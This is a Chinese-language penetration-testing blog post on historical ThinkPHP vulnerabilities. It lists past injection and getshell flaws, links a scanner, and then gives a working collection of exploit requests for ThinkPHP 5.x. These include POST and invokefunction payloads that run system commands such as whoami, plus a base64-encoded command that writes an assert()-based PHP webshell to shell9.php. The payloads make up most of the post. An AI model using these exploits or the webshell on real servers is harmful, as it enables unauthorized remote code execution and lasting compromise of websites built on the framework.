ThinkPHP常见历史漏洞

发布于 2021-02-17  1107 次阅读


《渗透测试》目录

常见漏洞-Thinkphp

1.Thinkphp介绍:ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,支持windows/Unix/Linux等服务器环境。

应用:很多cms就是基于thinkphp二次开发的,所以thinkphp出问题的话,会影响很多基于thinkphp开发的网站。


2.Thinkphp历史漏洞:

  • ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell
  • ThinkPHP5_SQL注入漏洞&&敏感信息泄露
  • ThinkPHP3.2.3_最新版update注入漏洞
  • ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell
  • ThinkPHP3.2.X_find_select_delete注入
  • ThinkPHP框架5.0.X_sql注入漏洞分析
  • ThinkPHP3.X_order_by注入漏洞
  • ThinkPHP5.X_order_by注入漏洞
  • ThinkPHP5.X_远程代码执行

3.Thinkphp漏洞发现

Thinkphp特征:页面特点很明显,写着Thinkphp几个大字

漏洞检测工具:https://github.com/Lucifer1993/TPscan


4.Thinkphp漏洞利用

(1)漏洞简介(5.0.23):其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

漏洞利用(命令执行)

POST /index.php?s=captcha Data:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id  #模板

###例子
_method= construct&filter[]=system&method=get&server[REQUEST_METHOD]= echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > shell9.php

(2)漏洞简介(5.0.22/5.1.29):其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

<1>漏洞利用(代码执行)

http://靶机IP:靶机端口/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

http://靶机IP:靶机端口/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

<2>漏洞利用(写webshell)

http://靶机IP:靶机端口/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > shell9.php

<3>漏洞利用(poc)

s=/index/\think\request/cache&key=1|phpinfo

其他poc

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][1]=3

thinkphp5 poc 集合

poc0 ='/index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1'
poc1 ='/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1'
poc2 ='/index.php/?s=index/\think\Request/input&filter=phpinfo&data=1'
poc3 ='/index.php?s=/index/\think\request/cache&key=1|phpinfo'
poc4:POST 
    s=captcha
    _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。